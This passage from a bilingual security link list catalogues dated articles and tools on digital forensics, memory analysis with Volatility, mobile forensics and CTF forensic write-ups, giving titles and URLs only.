以色列取证企业发现解锁任意iPhone设备的方法](http://www.freebuf.com/news/163634.html) - 2018.02 [hackingarticles] [Digital Forensics Investigation through OS Forensics (Part 3)](http://www.hackingarticles.in/digital-forensics-investigation-os-forensics-part-3/) - 2018.02 [hackingarticles] [Convert Virtual Machine to Raw Images for Forensics (Qemu-Img)](http://www.hackingarticles.in/convert-virtual-machine-raw-images-forensics-qemu-img/) - 2018.01 [hackingarticles] [Digital Forensics Investigation through OS Forensics (Part 2)](http://www.hackingarticles.in/digital-forensics-investigation-os-forensics-part-2/) - 2018.01 [hackingarticles] [Digital Forensics Investigation using OS Forensics (Part1)](http://www.hackingarticles.in/digital-forensics-investigation-using-os-forensics-part1/) - 2018.01 [hackingarticles] [Forensic Imaging through Encase Imager](http://www.hackingarticles.in/forensic-imaging-encase/) - 2018.01 [hackingarticles] [Forensic Investigation of Nmap Scan using Wireshark](http://www.hackingarticles.in/forensic-investigation-of-nmap-scan-using-wireshark/) - 2018.01 [boredhackerblog] [Digital Forensics and Law](http://www.boredhackerblog.info/2018/01/digital-forensics-and-law.html) - 2018.01 [hackingarticles] [Forensic Data Carving using Foremost](http://www.hackingarticles.in/forensic-data-carving-using-foremost/) - 2018.01 [4hou] [云存储服务的数字取证(下)](http://www.4hou.com/technology/9808.html) - 2018.01 [4hou] [云存储服务的数字取证(上)](http://www.4hou.com/data/9807.html) - 2018.01 [hackingarticles] [Forensics Tools in Kali](http://www.hackingarticles.in/forensics-tools-kali/) - 2018.01 [hackingarticles] [Network Packet Forensic using Wireshark](http://www.hackingarticles.in/network-packet-forensic-using-wireshark/) - 2017.12 [cert] [GreHack 2017 – Write Up Forensic 400](https://www.cert-devoteam.fr/publications/en/grehack-2017-write-up-forensic-400/) - 2017.11 [freebuf] [著名开源网络取证工具Xplico远程未授权RCE漏洞](http://www.freebuf.com/sectool/154523.html) - 2017.10 [freebuf] [反取证技术:内核模式下的进程隐蔽](http://www.freebuf.com/articles/web/148515.html) - 2017.10 [4hou] [内存取证分析的实战演练](http://www.4hou.com/technology/5860.html) - 2017.10 [n0where] [Wireless Monitoring, Intrusion Detection & Forensics: Nzyme](https://n0where.net/wireless-monitoring-intrusion-detection-forensics-nzyme) - 2017.09 [sans] [Forensic use of mount --bind](https://isc.sans.edu/forums/diary/Forensic+use+of+mount+bind/22854/) - 2017.09 [360] [PCRT:一款自动化检测修复PNG损坏的取证工具](https://www.anquanke.com/post/id/86793/) - 2017.09 [elcomsoft] [iOS 11 中的新安全措施及其Forensic Implications](https://blog.elcomsoft.com/2017/09/new-security-measures-in-ios-11-and-their-forensic-implications/) - 2017.08 [freebuf] [内存取证三项CTF赛题详解](http://www.freebuf.com/articles/rookie/145262.html) - 2017.08 [aliyun] [威胁猎杀与主动取证](https://xz.aliyun.com/t/1057) - 2017.08 [securelayer7] [胖客户端渗透测试的工具与技巧 - Part 4: 静态分析、内存取证与逆向分析](http://blog.securelayer7.net/static-analysismemory-forensics-reverse-engineering-thick-client-penetration-testing-part-4/) - 2017.08 [freebuf] [详解Windows注册表分析取证](http://www.freebuf.com/articles/system/142417.html) - 2017.08 [pediy] [[翻译]CTF取证类题目指南](https://bbs.pediy.com/thread-220021.htm) - 2017.07 [aliyun] [[ISS 2017]电子数据取证 议题分享一:网络犯罪魔与道:过去、现在、未来](https://xz.aliyun.com/t/731) - 2017.07 [aliyun] [[ISS 2017]电子数据取证 议题分享二:计算机取证,科学?](https://xz.aliyun.com/t/732) - 2017.07 [4hou] [BlackHat2017热点之DefPloreX---大规模网络犯罪取证的机器学习工具](http://www.4hou.com/tools/6881.html) - 2017.07 [trendmicro] [defplorex 介绍](https://blog.trendmicro.com/trendlabs-security-intelligence/defplorex-machine-learning-toolkit-large-scale-ecrime-forensics/) - 2017.07 [securelist] [bitscout 介绍](https://securelist.com/bitscout-the-free-remote-digital-forensics-tool-builder/78991/) - 2017.06 [360] [数字取证技术——NTFS更改日志](https://www.anquanke.com/post/id/86265/) - 2017.06 [secist] [22款受欢迎的计算机取证工具](http://www.secist.com/archives/3743.html) - 2017.06 [freebuf] [22款受欢迎的计算机取证工具](http://www.freebuf.com/sectool/136921.html) - 2017.06 [4hou] [工具推荐:22款最流行的计算机取证工具【2017年更新版】](http://www.4hou.com/tools/5331.html) - 2017.06 [nicoleibrahim] [Apple FSEvents 取证。文章从较高的角度介绍了 Apple 存储在磁盘上的文件系统事件,包括 FSEvents 的背景信息、日志位置、记录结构、行为、事件解析、值得注意的事件以及事件说明等。](http://nicoleibrahim.com/apple-fsevents-forensics/) - 2017.06 [freebuf] [基于bro的计算机入侵取证实战分析](http://www.freebuf.com/articles/system/135843.html) - 2017.06 [n0where] [Digital Forensics Platform: Autopsy](https://n0where.net/digital-forensics-platform-autopsy) - 2017.05 [360] [Linux取证技术实践](https://www.anquanke.com/post/id/86177/) - 2017.05 [countuponsecurity] [数据取证:NTFS change journal](https://countuponsecurity.com/2017/05/25/digital-forensics-ntfs-change-journal/) - 2017.05 [freebuf] [计算机取证在企业安全中的实际应用](http://www.freebuf.com/articles/others-articles/134283.html) - 2017.04 [hackingarticles] [Mobile Forensics Investigation using Cellebrite UFED](http://www.hackingarticles.in/mobile-forensics-investigation-using-cellebrite-ufed/) - 2017.04 [ionize] [BSides Canberra 2017 CTF Writeup – Forensics – Capture This Challenge](https://ionize.com.au/bsides-canberra-2017-ctf-writeup-forensics-capture-challenge/) - 2017.03 [4hou] [反取证、密码学、逆向工程软件…… 10大最好的网络安全Reddit都在这儿](http://www.4hou.com/info/news/3959.html) - 2017.03 [freebuf] [数字取证技术 :Windows内存信息提取](http://www.freebuf.com/articles/system/129463.html) - 2017.03 [csyssec] [名人课堂-高级数字取证与数据逆向工程](http://www.csyssec.org/20170306/course-zhiqianglin1/) - 2017.01 [n0where] [Open Source File System Digital Forensics: The Sleuth Kit](https://n0where.net/open-source-file-system-digital-forensics-the-sleuth-kit) - 2017.01 [securestate] [CTF Example – Forensics](https://warroom.securestate.com/forensic-files-a-ctf-beginners-guide/) - 2017.01 [welivesecurity] [Forensic analysis techniques for digital imaging](https://www.welivesecurity.com/2017/01/13/forensic-analysis-techniques-digital-imaging/) - 2017.01 [freebuf] [为保护隐私而生,反取证操作系统:kodachi](http://www.freebuf.com/sectool/124486.html) - 2017.01 [n0where] [Secure Anti Forensic Anonymous Operating System: kodachi](https://n0where.net/secure-anti-forensic-anonymous-operating-system-kodachi) - 2016.12 [lightless] [SECCON2016取证题WriteUP](https://lightless.me/archives/SECCON-2016-Forensics-WP.html) - 2016.11 [hackers] [Digital Forensics, Part 8: Live Analysis with sysinternals](https://www.hackers-arise.com/single-post/2016/11/29/Digital-Forensics-Part-7-Live-Analysis-with-sysinternals) - 2016.11 [hackers] [Digital Forensics, Part 7: Browser Forensics](https://www.hackers-arise.com/single-post/2016/11/17/Digital-Forensics-Part-7-Browser-Forensics) - 2016.11 [n0where] [PowerShell Digital Forensics: PowerForensics](https://n0where.net/powershell-digital-forensics-powerforensics) - 2016.11 [hackers] [Digital Forensics, Part 6: Analyzing Windows Pre-fetch Files for Evidence](https://www.hackers-arise.com/single-post/2016/11/02/Digital-Forensics-Part-6-Analyzing-Windows-Pre-fetch-Files-for-Evidence) - 2016.10 [hackers] [Digital Forensics, Part 4: Finding Key Evidence in the Forensic Image](https://www.hackers-arise.com/single-post/2016/10/14/Digital-Forensics-Part-4-Finding-Key-Evidence-in-the-Forensic-Image) - 2016.10 [hackers] [Digital Forensics, Part 3: Recovering Deleted Files](https://www.hackers-arise.com/single-post/2016/10/10/Digital-Forensics-Part-3-Recovering-Deleted-Files) - 2016.10 [hackers] [Anti-Forensics: How to Clear Evidence Like Hillary Clinton](https://www.hackers-arise.com/single-post/2016/09/06/Anti-Forensics-How-to-Clean-Evidence-Like-Hillary-Clinton) - 2016.09 [hackers] [Digital Forensics, Part 2: Live Memory Acquisition and Analysis](https://www.hackers-arise.com/single-post/2016/09/27/Digital-Forensics-Part-2-Live-Memory-Acquisition-and-Analysis) - 2016.09 [sans] [Back in Time Memory Forensics](https://isc.sans.edu/forums/diary/Back+in+Time+Memory+Forensics/21527/) - 2016.09 [hackers] [Digital Forensics, Part 1: Capturing a Forensically Sound Image](https://www.hackers-arise.com/single-post/2016/09/19/Digital-Forensics-Part-1-Capturing-a-Forensically-Sound-Image) - 2016.09 [sans] [Windows Events log for IR/Forensics ,Part 2](https://isc.sans.edu/forums/diary/Windows+Events+log+for+IRForensics+Part+2/21501/) - 2016.09 [n0where] [Windows Forensic Data Collection: IR-rescue](https://n0where.net/windows-forensic-data-collection-ir-rescue) - 2016.09 [sans] [Windows Events log for IR/Forensics ,Part 1](https://isc.sans.edu/forums/diary/Windows+Events+log+for+IRForensics+Part+1/21493/) - 2016.09 [n0where] [Forensic File System Reconstruction: RecuperaBit](https://n0where.net/forensic-file-system-reconstruction-recuperabit) - 2016.08 [n0where] [USB Anti Forensic Tool: usbdeath](https://n0where.net/usb-anti-forensic-tool-usbdeath) - 2016.08 [rapid7] [Using Log Data as Forensic Evidence](https://blog.rapid7.com/2016/08/12/using-log-data-as-forensic-evidence/) - 2016.08 [sans] [Looking for the insider: Forensic Artifacts on iOS Messaging App](https://isc.sans.edu/forums/diary/Looking+for+the+insider+Forensic+Artifacts+on+iOS+Messaging+App/21363/) - 2016.08 [n0where] [OS X Forensic Evidence Collection: OSXCollector](https://n0where.net/os-x-forensic-evidence-collection-osxcollector) - 2016.07 [n0where] [Incident Response Forensic Framework: nightHawk Response](https://n0where.net/incident-response-forensic-framework-nighthawk-response) - 2016.07 [n0where] [Offline Digital Forensics Tool for Binary Files: ByteForce](https://n0where.net/offline-digital-forensics-tool-byteforce) - 2016.06 [hackers] [Covering your BASH Shell Tracks- Anti-Forensics](https://www.hackers-arise.com/single-post/2016/06/20/Covering-your-BASH-Shell-Tracks-AntiForensics) - 2016.06 [rapid7] [Trip Report: Techno Security & Forensics Investigations Conference](https://blog.rapid7.com/2016/06/09/trip-report-techno-security-forensics-investigations-conference/) - 2016.06 [sans] [Performing network forensics with Dshell. Part 2: Decoder development process](https://isc.sans.edu/forums/diary/Performing+network+forensics+with+Dshell+Part+2+Decoder+development+process/21123/) - 2016.05 [sans] [Performing network forensics with Dshell. Part 1: Basic usage](https://isc.sans.edu/forums/diary/Performing+network+forensics+with+Dshell+Part+1+Basic+usage/21035/) - 2016.05 [n0where] [Open Source Intelligence and Forensics : Maltego](https://n0where.net/open-source-intelligence-and-forensics-maltego) - 2016.04 [sans] [An Introduction to Mac memory forensics](https://isc.sans.edu/forums/diary/An+Introduction+to+Mac+memory+forensics/20989/) - 2016.04 [n0where] [Advanced Forensics File Format: AFF4](https://n0where.net/advanced-forensics-file-format-aff4) - 2016.03 [sans] [Improving Bash Forensics Capabilities](https://isc.sans.edu/forums/diary/Improving+Bash+Forensics+Capabilities/20887/) - 2016.03 [sans] [Forensicating Docker, Part 1](https://isc.sans.edu/forums/diary/Forensicating+Docker+Part+1/20835/) - 2016.03 [hackingarticles] [Wifi Forensic Investigation using Wifihistoryview](http://www.hackingarticles.in/wifi-forensic-investigation-using-wifihistoryview/) - 2016.02 [freebuf] [针对爱尔兰DDoS攻击的取证分析](http://www.freebuf.com/articles/network/96179.html) - 2016.02 [nsfocus] [加强调查取证,夯实威胁情报基础](http://blog.nsfocus.net/security-incident-investigation-to-threat-intelligence/) - 2016.02 [360] [新型DDOS攻击分析取证](https://www.anquanke.com/post/id/83443/) - 2016.01 [freebuf] [Joy:捕获数据包、分析网络流量数据、网络取证及安全监控工具](http://www.freebuf.com/sectool/93017.html) - 2016.01 [freebuf] [分析取证指南:取证工具推荐](http://www.freebuf.com/sectool/92946.html) - 2016.01 [sans] [toolsmith #112: Red vs Blue - PowerSploit vs PowerForensics](https://isc.sans.edu/forums/diary/toolsmith+112+Red+vs+Blue+PowerSploit+vs+PowerForensics/20579/) - 2015.12 [freebuf] [针对国外一款超火约会软件Tinder的取证分析](http://www.freebuf.com/articles/terminal/91546.html) - 2015.12 [freebuf] [开源网络取证工具Xplico](http://www.freebuf.com/sectool/88496.html) - 2015.11 [secist] [调查取证之图像还原](http://www.secist.com/archives/2131.html) - 2015.11 [secist] [调查取证之文字还原](http://www.secist.com/archives/2110.html) - 2015.11 [n0where] [Network Forensic Analysis Tool: Xplico](https://n0where.net/network-forensic-analysis-tool-xplico) - 2015.11 [n0where] [Digital Forensics Distro: CAINE](https://n0where.net/digital-forensics-distro-caine) - 2015.11 [hackingarticles] [Forensic Investigation of Any Mobile Phone with MOBILedit Forensic](http://www.hackingarticles.in/forensic-investigation-of-any-mobile-phone-with-mobiledit-forensic/) - 2015.10 [hackingarticles] [Android Mobile Device Forensics with Mobile Phone Examiner Plus](http://www.hackingarticles.in/android-mobile-device-forensics-with-mobile-phone-examiner-plus/) - 2015.10 [360] [WMI 的攻击,防御与取证分析技术之攻击篇](https://www.anquanke.com/post/id/82798/) - 2015.10 [hackingarticles] [How to Create a Forensic Image of Android Phone using Magnet Acquire](http://www.hackingarticles.in/how-to-create-a-forensic-image-of-andorid-phone-using-magnet-acquire/) - 2015.10 [hackingarticles] [Forensics Investigation of Android Phone using Andriller](http://www.hackingarticles.in/forensics-investigation-of-android-phone-using-andriller/) - 2015.10 [hackingarticles] [Logical Forensics of an Android Device using AFLogical](http://www.hackingarticles.in/logical-forensics-of-an-android-device-using-aflogical/) - 2015.10 [hackingarticles] [SANTOKU Linux- Overview of Mobile Forensics Operating System](http://www.hackingarticles.in/santoku-linux-overview-of-mobile-forensics-operating-system/) - 2015.10 [hackingarticles] [Forensics Analysis of Pagefile and hibersys File in Physical Memory](http://www.hackingarticles.in/forensics-analysis-of-pagefile-and-hibersys-file-in-physical-memory/) - 2015.09 [hackingarticles] [4 ways Capture Memory for Analysis (Memory Forensics)](http://www.hackingarticles.in/4-ways-capture-memory-for-analysis-memory-forensics/) - 2015.09 [hackingarticles] [Forensic Investigation of RAW Image using Forensics Explorer (Part 1)](http://www.hackingarticles.in/forensic-investigation-of-raw-image-using-forensics-explorer-part-1/) - 2015.09 [hackingarticles] [Forensic Investigation Tutorial Using DEFT](http://www.hackingarticles.in/forensic-investigation-tutorial-using-deft/) - 2015.09 [freebuf] [“短信拦截马”黑色产业链与溯源取证研究](http://www.freebuf.com/articles/terminal/77331.html) - 2015.07 [hackingarticles] [Forensics Investigon of RAW Images using Belkasoft Evidence Center](http://www.hackingarticles.in/forensics-investigon-of-raw-images-using-belkasoft-evidence-center/) - 2015.07 [hackingarticles] [How to Clone Drive for Forensics Purpose](http://www.hackingarticles.in/how-to-clone-drive-for-forensics-purpose/) - 2015.06 [hackingarticles] [Best of Computer Forensics Tutorials](http://www.hackingarticles.in/best-of-computer-forensics-tutorials/) - 2015.06 [hackingarticles] [Forensics Investigation of Deleted Files in a Drive](http://www.hackingarticles.in/forensics-investigation-of-deleted-files-in-a-drive/) - 2015.06 [hackingarticles] [Comparison of two Files for forensics investigation by Compare IT](http://www.hackingarticles.in/comparison-of-two-files-for-forensics-investigation-by-compare-it/) - 2015.06 [hackingarticles] [Live Forensics Case Investigation using Autopsy](http://www.hackingarticles.in/live-forensics-case-investigation-using-autopsy/) - 2015.06 [hackingarticles] [How to Install Digital Forensics Framework in System](http://www.hackingarticles.in/how-to-install-digital-forensics-framework-in-system/) - 2015.06 [hackingarticles] [Forensics Investigation of Facebook, Skype, and Browsers in RAW Image using IEF (Internet Evidence Finder)](http://www.hackingarticles.in/forensics-investigation-of-facebook-skype-and-browsers-in-raw-image-using-ief-internet-evidence-finder/) - 2015.06 [hackingarticles] [How to Create Drive Image for Forensic Purpose using Forensic Replicator](http://www.hackingarticles.in/how-to-create-drive-image-for-forensic-purpose-using-forensic-replicator/) - 2015.06 [hackingarticles] [Outlook Forensics Investigation using E-Mail Examiner](http://www.hackingarticles.in/outlook-forensics-investigation-using-e-mail-examiner/) - 2015.06 [hackingarticles] [How to Preserve Forensics Image file Timestamp](http://www.hackingarticles.in/how-to-preserve-forensics-image-file-timestamp/) - 2015.05 [hackingarticles] [Forensics Investigation of Evidence RAW Image using OS Forensics Tool](http://www.hackingarticles.in/forensics-investigation-of-evidence-raw-image-using-os-forensics-tool/) - 2015.05 [hackingarticles] [How to Create and Convert RAW Image in Encase and AFF Format using Forensics Imager](http://www.hackingarticles.in/how-to-create-and-convert-raw-image-in-encase-and-aff-format-using-forensics-imager/) - 2015.05 [hackingarticles] [How to Mount Forensics image as a Drive using P2 eXplorer Pro](http://www.hackingarticles.in/how-to-mount-forensics-image-as-a-drive-using-p2-explorer-pro/) - 2015.05 [hackingarticles] [How to gather Forensics Investigation Evidence using ProDiscover Basic](http://www.hackingarticles.in/how-to-gather-forensics-investigation-evidence-using-prodiscover-basic/) - 2015.05 [hackingarticles] [How to study Forensics Evidence of PC using P2 Commander (Part 2)](http://www.hackingarticles.in/how-to-study-forensics-evidence-of-pc-using-p2-commander-part-2/) - 2015.05 [hackingarticles] [How to Collect Forensics Evidence of PC using P2 Commander (Part 1)](http://www.hackingarticles.in/how-to-collect-forensics-evidence-of-pc-using-p2-commander-part-1/) - 2015.05 [hackingarticles] [How to Create Forensics Image of PC using R-Drive Image](http://www.hackingarticles.in/how-to-create-forensics-image-of-pc-using-r-drive-image/) - 2015.04 [hackingarticles] [Forensic Investigation of victim pc using Autopsy](http://www.hackingarticles.in/forensic-investigation-of-victim-pc-using-autopsy/) - 2015.04 [hackingarticles] [Forensic Investigation of any Twitter account](http://www.hackingarticles.in/forensic-investigation-of-any-twitter-account/) - 2015.04 [hackingarticles] [How to perform Forensic Investigation on user Linkedin Account](http://www.hackingarticles.in/how-to-perform-forensic-investigation-on-user-linkedin-account/) - 2015.04 [hackingarticles] [How to Perform Forensic Investigation on YouTube](http://www.hackingarticles.in/how-to-perform-forensic-investigation-on-youtube/) - 2015.04 [hackingarticles] [Forensic Investigation of any FaceBook Profile](http://www.hackingarticles.in/forensic-investigation-of-any-facebook-profile/) - 2015.04 [sans] [Memory Forensics Of Network Devices](https://isc.sans.edu/forums/diary/Memory+Forensics+Of+Network+Devices/19591/) - 2015.03 [hackingarticles] [How to find the usage of files in Remote victim PC (Remote PC Forensics)](http://www.hackingarticles.in/how-to-find-the-usage-of-files-in-remote-victim-pc-remote-pc-forensics/) - 2015.03 [] [Web日志取证分析工具](http://www.91ri.org/12592.html) - 2015.02 [] [电子取证实例:基于磁盘的数据取证](http://www.91ri.org/12339.html) - 2015.02 [n0where] [Forensic Data Extraction: Bulk Extractor](https://n0where.net/forensic-data-extraction-bulk-extractor) - 2015.02 [] [从一次取证到反渗透](http://www.91ri.org/12308.html) - 2015.02 [sans] [Another Network Forensic Tool for the Toolbox - Dshell](https://isc.sans.edu/forums/diary/Another+Network+Forensic+Tool+for+the+Toolbox+Dshell/19277/) - 2015.02 [freebuf] [电子取证实例:基于文件系统的磁盘数据取证分析](http://www.freebuf.com/articles/system/57804.html) - 2015.01 [n0where] [Dshell – Network Forensic Analysis Framework](https://n0where.net/dshell-network-forensic-analysis-framework) - 2015.01 [hackingarticles] [How to Collect Email Evidence in Victim PC (Email Forensics)](http://www.hackingarticles.in/how-to-collect-email-evidence-in-victim-pc-email-forensics/) - 2015.01 [hackingarticles] [Forensics Analysis of Social Media Sites like Facebook, Twitter, LinkedIn](http://www.hackingarticles.in/forensics-analysis-of-social-media-sites-like-facebook-twitter-linkedin/) - 2014.11 [freebuf] [Linux入侵取证:从一次应急事件讲起](http://www.freebuf.com/articles/system/50728.html) - 2014.10 [] [云端博弈——云安全入侵取证及思考](http://www.91ri.org/11170.html) - 2014.10 [tencent] [云端博弈——云安全入侵取证及思考](https://security.tencent.com/index.php/blog/msg/72) - 2014.10 [sec] [容易被忽略的Anti-APT产品-网络取证工具NFT](https://www.sec-un.org/overlooked-anti-apt-products-network-forensic-tools-nft/) - 2014.08 [n0where] [Digital Forensics Toolkit: DEFT](https://n0where.net/digital-forensics-toolkit-deft) - 2014.08 [freebuf] [FB公开课录像:隐蔽通信(FQ)和侦查取证那些事儿](http://www.freebuf.com/video/40500.html) - 2014.07 [freebuf] [FreeBuf公开课(直播课程):隐蔽通信(FQ)和侦查取证那些事儿](http://www.freebuf.com/fevents/39454.html) - 2014.05 [freebuf] [电子取证之Linux PCI分析](http://www.freebuf.com/articles/system/35490.html) - 2014.04 [hackingarticles] [Hack MOBILedit Forensic 6.9 Registration (Easy Way)](http://www.hackingarticles.in/hack-mobiledit-forensic-6-9-registration-easy-way/) - 2014.03 [freebuf] [走进计算机取证分析的神秘世界](http://www.freebuf.com/articles/terminal/29653.html) - 2014.02 [hackingarticles] [Forensics Investigation of Remote PC (Part 2)](http://www.hackingarticles.in/forensics-investigation-of-remote-pc-part-2/) - 2014.02 [hackingarticles] [Forensics Investigation of Remote PC (Part 1)](http://www.hackingarticles.in/forensics-investigation-of-remote-pc-part-1/) - 2014.01 [freebuf] [渗透测试中的冷却启动攻击和其他取证技术](http://www.freebuf.com/articles/system/23409.html) - 2013.12 [pediy] [[原创]xls文件取证](https://bbs.pediy.com/thread-182739.htm) - 2013.11 [n0where] [Network Takeover Forensic Analysis: FS-NyarL](https://n0where.net/network-takeover-forensic-analysis-fs-nyarl) - 2013.05 [sans] [Call for Papers - 4th annual Forensics and Incident Response Summit EU](https://isc.sans.edu/forums/diary/Call+for+Papers+4th+annual+Forensics+and+Incident+Response+Summit+EU/15809/) - 2013.05 [freebuf] [移动设备取证、恶意软件分析和安全测试套件—Santoku](http://www.freebuf.com/sectool/9280.html) - 2013.05 [n0where] [Mobile Forensics: Santoku](https://n0where.net/mobile-forensics-santoku) - 2013.04 [freebuf] [针对取证的GNU/Linux发行版: PALADIN](http://www.freebuf.com/sectool/8232.html) - 2013.01 [pediy] [[推荐]Android取证和安全测试开放课程](https://bbs.pediy.com/thread-160891.htm) - 2012.10 [welivesecurity] [PC Support Scams: a Forensic View](https://www.welivesecurity.com/2012/10/30/pc-support-scams-a-forensic-view/) - 2012.10 [welivesecurity] [Defeating anti-forensics in contemporary complex threats](https://www.welivesecurity.com/2012/10/11/defeating-anti-forensics-in-contemporary-complex-threats/) - 2012.09 [freebuf] [[更新]GUI界面文件信息取证分析工具-FileInfo V6.0](http://www.freebuf.com/sectool/5740.html) - 2012.07 [freebuf] [渗透测试、电子取证系统 – Bugtraq-I](http://www.freebuf.com/sectool/5165.html) - 2012.07 [freebuf] [Iphone取证(一)](http://www.freebuf.com/articles/wireless/5009.html) - 2012.06 [freebuf] [开源数字调查/取证工具 – Sleuth Kit v4.0.0 Beta1](http://www.freebuf.com/sectool/3097.html) - 2012.05 [freebuf] [数字取证工具包-SIFT](http://www.freebuf.com/sectool/1315.html) - 2012.03 [hackingarticles] [Antivirus Forensics Tools](http://www.hackingarticles.in/antivirus-forensics-tools/) - 2012.02 [hackingarticles] [BFT (Browser Forensic Tool )](http://www.hackingarticles.in/bft-browser-forensic-tool/) - 2012.01 [rapid7] [Metasploit Updated: Forensics, SCADA, SSH Public Keys, and More](https://blog.rapid7.com/2012/01/19/metasploit-framework-updated/) - 2012.01 [rapid7] [Adventures in the Windows NT Registry: A step into the world of Forensics and Information Gathering](https://blog.rapid7.com/2012/01/16/adventures-in-the-windows-nt-registry-a-step-into-the-world-of-forensics-and-ig/) - 2011.11 [hackingarticles] [How to View Windows system reboot Date and Time (Windows Forensics)](http://www.hackingarticles.in/how-to-view-windows-system-reboot-date-and-time-windows-forensics/) - 2011.09 [sans] [Analyzing Mobile Device Malware - Honeynet Forensic Challenge 9 and Some Tools](https://isc.sans.edu/forums/diary/Analyzing+Mobile+Device+Malware+Honeynet+Forensic+Challenge+9+and+Some+Tools/11521/) - 2011.09 [hackingarticles] [Find Last Connected USB on your system (USB Forensics)](http://www.hackingarticles.in/find-last-connected-usb-on-your-system-usb-forensics/) - 2011.09 [hackingarticles] [List of Computer Forensics Tools (Part 1)](http://www.hackingarticles.in/list-of-computer-forensics-tools/) - 2010.11 [trendmicro] [STUXNET Scanner: A Forensic Tool](https://blog.trendmicro.com/trendlabs-security-intelligence/stuxnet-scanner-a-forensic-tool/) - 2010.09 [sans] [Quick Forensic Challenge](https://isc.sans.edu/forums/diary/Quick+Forensic+Challenge/9598/) - 2010.06 [sans] [New Honeynet Project Forensic Challenge](https://isc.sans.edu/forums/diary/New+Honeynet+Project+Forensic+Challenge/8905/) - 2010.05 [sans] [SANS 2010 Digital Forensics Summit - APT Based Forensic Challenge](https://isc.sans.edu/forums/diary/SANS+2010+Digital+Forensics+Summit+APT+Based+Forensic+Challenge/8839/) - 2010.05 [sans] [2010 Digital Forensics and Incident Response Summit](https://isc.sans.edu/forums/diary/2010+Digital+Forensics+and+Incident+Response+Summit/8830/) - 2010.04 [sans] [Network and process forensics toolset](https://isc.sans.edu/forums/diary/Network+and+process+forensics+toolset/8611/) - 2010.01 [sans] [Forensic challenges](https://isc.sans.edu/forums/diary/Forensic+challenges/8014/) - 2009.12 [sans] [Anti-forensics, COFEE vs. DECAF](https://isc.sans.edu/forums/diary/Antiforensics+COFEE+vs+DECAF/7741/) - 2009.08 [sans] [Network Forensics Puzzle Contest](https://isc.sans.edu/forums/diary/Network+Forensics+Puzzle+Contest/6997/) - 2009.08 [sans] [Forensics: Mounting partitions from full-disk 'dd' images](https://isc.sans.edu/forums/diary/Forensics+Mounting+partitions+from+fulldisk+dd+images/6991/) - 2009.07 [riusksk] [Windows平台下的监控取证技术](http://riusksk.me/2009/07/07/Windows平台下的监控取证技术/) - 2009.07 [pediy] [[原创]Windows平台下的取证技术](https://bbs.pediy.com/thread-92786.htm) - 2008.10 [sans] [Day 19 - Eradication: Forensic Analysis Tools - What Happened?](https://isc.sans.edu/forums/diary/Day+19+Eradication+Forensic+Analysis+Tools+What+Happened/5200/) - 2005.05 [sans] [Firefox 1.0.4; DNSSEC Tools; Phisher's benefit use Google link; Viewing Chat Logs; Web Browser Forensics; Gecko Based Browers HTTP Authentication Prompt Vulnerability](https://isc.sans.edu/forums/diary/Firefox+104+DNSSEC+Tools+Phishers+benefit+use+Google+link+Viewing+Chat+Logs+Web+Browser+Forensics+Gecko+Based+Browers+HTTP+Authentication+Prompt+Vulnerability/536/) *** ## <a id="bc6550163d1995f3ce6323404e2cec28"></a>Volatility - 2019.11 [volatility] [Results from the 2019 Volatility Contests are in!](https://volatility-labs.blogspot.com/2019/11/results-from-2019-volatility-contests.html) - 2019.10 [volatility] [Announcing the Volatility 3 Public Beta!](https://volatility-labs.blogspot.com/2019/10/announcing-volatility-3-public-beta.html) - 2019.10 [countuponsecurity] [Notes on Linux Memory Analysis – LiME, Volatility and LKM’s](https://countuponsecurity.com/2019/10/14/notes-on-linux-memory-analysis-lime-volatility-and-lkms/) - 2019.10 [doyler] [BofA Forensics and Volatility for the Win (DerbyCon 9)](https://www.doyler.net/security-not-included/bofa-forensics-derbycon-9-ctf) - 2019.07 [cristivlad25] [Practical Pentesting - How to do Memory Forensics with Volatility - AttackDefense Labs](https://www.youtube.com/watch?v=epPEA6Cw3_Q) - 2019.06 [infosecinstitute] [Ransomware analysis with Volatility](https://resources.infosecinstitute.com/ransomware-analysis-with-volatility/) - 2019.04 [andreafortuna] [How to analyze a VMware memory image with Volatility](https://www.andreafortuna.org/2019/04/03/how-to-analyze-a-vmware-memory-image-with-volatility/) - 2019.03 [4hou] [基础事件响应中的Volatility工作流程](https://www.4hou.com/web/16598.html) - 2019.01 [sans] [Mac Memory Analysis with Volatility](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1493741844.pdf) - 2019.01 [sans] [Android Mind Reading - Memory Acquisition and Analysis with LiME and Volatility](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1493741700.pdf) - 2019.01 [sans] [Volatility Bot](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1492186622.pdf) - 2018.11 [volatility] [Results from the 2018 Volatility Contests are in!](https://volatility-labs.blogspot.com/2018/11/results-from-annual-2018-volatility-contests.html) - 2018.08 [jpcert] [Volatility Plugin for Detecting Cobalt Strike Beacon](https://blog.jpcert.or.jp/2018/08/volatility-plugin-for-detecting-cobalt-strike-beacon.html) - 2018.07 [aliyun] [利用Volatility进行入侵痕迹分析](https://xz.aliyun.com/t/2497) - 2018.07 [andreafortuna] [Digital forensics chronicles: image identification issues on large memory dump with Volatility](https://www.andreafortuna.org/dfir/digital-forensics-chronicles-image-identification-issues-on-large-memory-dump-with-volatility/) - 2018.07 [andreafortuna] [Finding malware on memory dumps using Volatility and Yara rules](https://www.andreafortuna.org/dfir/finding-malware-on-memory-dumps-using-volatility-and-yara-rules/) - 2018.05 [pentesttoolz] [Linux Screenshot XWindows – Volatility Plugin To Extract X Screenshots From A Memory Dump](https://pentesttoolz.com/2018/05/22/linux-screenshot-xwindows-volatility-plugin-to-extract-x-screenshots-from-a-memory-dump/) - 2018.05 [volatility] [The 6th Annual Volatility Plugin Contest and the Inaugural Volatility Analysis Contest!](https://volatility-labs.blogspot.com/2018/05/the-6th-annual-volatility-plugin.html) - 2018.05 [pentestingexperts] [Memory Forensics Investigation using Volatility (Part 1)](http://www.pentestingexperts.com/memory-forensics-investigation-using-volatility-part-1/) - 2018.05 [cybertriage] [Using Volatility in Cyber Triage to Analyze Memory](https://www.cybertriage.com/2018/using-volatility-in-cyber-triage/) - 2018.04 [acolyer] [Espresso: brewing Java for more non-volatility with non-volatile memory](https://blog.acolyer.org/2018/04/25/espresso-brewing-java-for-more-non-volatility-with-non-volatile-memory/) - 2018.03 [broadanalysis] [Guest Blog Post: njRat Analysis with Volatility](http://www.broadanalysis.com/2018/03/25/guest-blog-post-njrat-analysis-with-volatility/) - 2018.03 [X13Cubed] [Volatility Profiles and Windows 10](https://www.youtube.com/watch?v=Us1gbPqtdtY) - 2018.01 